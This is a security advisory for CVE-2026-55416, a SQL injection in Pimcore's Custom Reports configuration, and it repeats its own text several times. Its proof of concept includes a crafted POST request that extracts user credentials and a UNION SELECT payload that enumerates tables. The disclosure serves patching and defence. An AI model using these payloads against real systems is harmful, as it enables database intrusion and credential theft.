CVE-2026-55416

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, an authenticated user with reports_config permission can place attacker-controlled SQL fragments in the sql, from, where, and groupby fields of a Custom Reports configuration processed by bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php. The buildQueryString() method concatenates these values into a database query, while a blacklist omits dangerous constructs such as additional data-manipulation statements, comments, subqueries, and multiple statements. The getData() method also previously interpolated offset and limit values into a LIMIT clause without integer casting. Executing the configured report reaches fetchAllAssociative() with the constructed query and can disclose, modify, or delete arbitrary database data. This issue is fixed in versions 11.5.19, 12.3.10, and 2026.1.6.

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, an authenticated user with reports_config permission can place attacker-controlled SQL fragments in the sql, from, where, and groupby fields of a Custom Reports configuration processed by bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php. The buildQueryString() method concatenates these values into a database query, while a blacklist omits dangerous constructs such as additional data-manipulation statements, comments, subqueries, and multiple statements. The getData() method also previously interpolated offset and limit values into a LIMIT clause without integer casting. Executing the configured report reaches fetchAllAssociative() with the constructed query and can disclose, modify, or delete arbitrary database data. This issue is fixed in versions 11.5.19, 12.3.10, and 2026.1.6.

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.

Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

1. Restrict reports_config permission to only highly trusted administrators
2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
    ↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
    ↓  $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
    ↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
    ↓  Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql'];        // Line 92
            $sql .= "\n" . $config['from'];        // Line 103
            $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
            $sql .= "\n" . $config['groupby'];     // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
    ↓  ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql);        // Line 54
    ↓
[Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

Source: $request->request->getString('configuration')  (HTTP POST body, user-controlled)
    ↓  json_decode() → stdClass
[Store]  Persistent in database (custom_reports table)
[Load]   Config::getByName() → stdClass $config
    ↓  ✗ No sanitization (only bypassable regex blacklist)
[Sink]   $db->fetchAllAssociative($concatenatedSql)
    ↓
Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

1. Authenticate as an admin user with reports_config permission
2. Send a report update request with malicious SQL in the configuration:

Request

POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>

name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D

3. Access the report data endpoint to retrieve extracted user credentials
4. Alternatively, the where field can be set to:

   1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
   

   to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL…

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, an authenticated user with reports_config permission can place attacker-controlled SQL fragments in the sql, from, where, and groupby fields of a Custom Reports configuration processed by bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php. The buildQueryString() method concatenates these values into a database query, while a blacklist omits dangerous constructs such as additional data-manipulation statements, comments, subqueries, and multiple statements. The getData() method also previously interpolated offset and limit values into a LIMIT clause without integer casting. Executing the configured report reaches fetchAllAssociative() with the constructed query and can disclose, modify, or delete arbitrary database data. This issue is fixed in versions 11.5.19, 12.3.10, and 2026.1.6.

Pimcore is an Open Source Data & Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, an authenticated user with reports_config permission can place attacker-controlled SQL fragments in the sql, from, where, and groupby fields of a Custom Reports configuration processed by bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php. The buildQueryString() method concatenates these values into a database query, while a blacklist omits dangerous constructs such as additional data-manipulation statements, comments, subqueries, and multiple statements. The getData() method also previously interpolated offset and limit values into a LIMIT clause without integer casting. Executing the configured report reaches fetchAllAssociative() with the constructed query and can disclose, modify, or delete arbitrary database data. This issue is fixed in versions 11.5.19, 12.3.10, and 2026.1.6.

Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration

Summary

Impact

A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.

Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.

Patches

Versions 2026.1.6, 12.3.10, 11.5.19.

Workarounds

1. Restrict reports_config permission to only highly trusted administrators
2. Deploy a WAF rule to block requests to /admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameter
3. Replace the custom SQL adapter with a parameterized query builder approach

Attack Path (Validation Evidence)

[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
    ↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
    ↓  $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
    ↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
    ↓  Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql'];        // Line 92
            $sql .= "\n" . $config['from'];        // Line 103
            $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
            $sql .= "\n" . $config['groupby'];     // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
    ↓  ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql);        // Line 54
    ↓
[Impact] Arbitrary SQL execution — full database compromise

Taint Flow (Validation Evidence)

Source: $request->request->getString('configuration')  (HTTP POST body, user-controlled)
    ↓  json_decode() → stdClass
[Store]  Persistent in database (custom_reports table)
[Load]   Config::getByName() → stdClass $config
    ↓  ✗ No sanitization (only bypassable regex blacklist)
[Sink]   $db->fetchAllAssociative($concatenatedSql)
    ↓
Impact: Attacker-controlled SQL executed against the database

Proof of Concept

Steps

1. Authenticate as an admin user with reports_config permission
2. Send a report update request with malicious SQL in the configuration:

Request

POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>

name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D

3. Access the report data endpoint to retrieve extracted user credentials
4. Alternatively, the where field can be set to:

   1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
   

   to enumerate all database tables

Expected Result

The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL…